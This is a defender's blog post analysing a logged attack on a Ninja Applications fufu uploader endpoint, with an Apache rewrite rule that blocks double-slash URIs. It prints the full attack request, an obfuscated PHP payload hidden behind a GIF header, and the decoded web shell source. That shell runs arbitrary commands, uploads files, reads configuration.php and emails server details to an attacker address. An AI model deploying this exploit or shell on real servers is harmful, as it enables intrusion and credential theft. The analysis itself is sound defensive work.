Analysis of attempt to exploit ninja-applications fufu controllers uploader vulnerability


Looking at my web server logs I noticed a new attack signature:

POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1

With user-agent libwww-perl/5.808

Note that my server was not infected because I use Apache mod_rewrite rules to reject malformed requests. In this case my rule against consecutive slashes caught the attack:

# A surprising amount of malware sends URIs with two leading slashes. While
# technically not illegal it is an extremely strong malware signal. No
# legitimate browser or web crawler would do that.
RewriteCond %{REQUEST_URI} !=/favicon.ico
RewriteCond %{THE_REQUEST} ^\S+\s+// [NC]
RewriteRule ^ /blocked.php [END,E=error-notes:invalid-uri]

Searching Google for that path turns up lots of matches on porn sites. Apparently this is a very popular piece of code in that industry. I did find one hit on the second result page:

google search result

[~] [Shell Upload:] Ninja Application File Upload Vulnerability ...
hackforums.net/showthread.php?tid=4993982
3 days ago - 3 posts - ‎2 authors
Today I Will Show You How To Upload Shell/File To Website Using ... Exploit: localhost/ninja-applications/fufu/controllers/uploader/upload.php.

Adding the word “vulnerability” to the search returned far fewer results. It looks like the earliest public discussion of this vulnerability is three weeks ago on 2015-09-02. And the few search results I looked were all aimed at telling other hackers how to exploit the vulnerability. So apparently this is a recently found security vulnerability and thus I suspect I’ll see many more attacks against this path in the future.

The contents of this particular attack were:

POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.skepticism.us
User-Agent: libwww-perl/5.808
Content-Length: 1927
Content-Type: multipart/form-data; boundary=xYzZY

--xYzZY
Content-Disposition: form-data; name="file"; filename="myluph.jpg"
Content-Type: image/jpeg

GIF89a^A?^A??????????!??^D^A????,????^A?^A??^B^BD^A?;?< ?php
set_time_limit(0);
error_reporting(0);

eval(gzinflate(str_rot13(base64_decode('zUlbQttVFH5eJP7DMBvJj…')))); ?>
--xYzZY
Content-Disposition: form-data; name="name"

myluph.php
--xYzZY--

The uploaded file is identified as a “GIF image data, version 89a, 16129 x 16129” by the UNIX file command. Replacing the eval with print and executing the file (it doesn’t matter if you leave the GIF header intact) via php -f myluph.jpg > myluph.php results in the content below in myluph.php. As you can see it’s a very basic backdoor. It allows for uploading arbitrary files, executing arbitrary shell commands, and has one special command “baca” to return the file ../../configuration.php. When invoked it sends email to jalangsaya@gmail.com with a subject line that begins “Hasil Bajakan” followed by information identifying the infected server.

if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Target ditemukan \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 1;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/.libs.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF jalanG";}
else {$security= "SAFE_MODE : ON jalanG";}
echo "<title>jalanG</title><br>";
$dataku = "POWERED BY jalanG";
$dataku2 = "ready fresh tools SHELLS FTP CPANEL RDP MAILER";
$dataku3 = "Contact Admin YM :ready.buyer";
echo "<font size=2 color=blue><b>".$dataku."</b><br>";
echo "<font size=2 color=red><b>".$dataku2."</b><br>";
echo "<font size=2 color=blue><b>".$dataku3."</b><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." Succes! "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

if(isset($_GET['baca'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;
}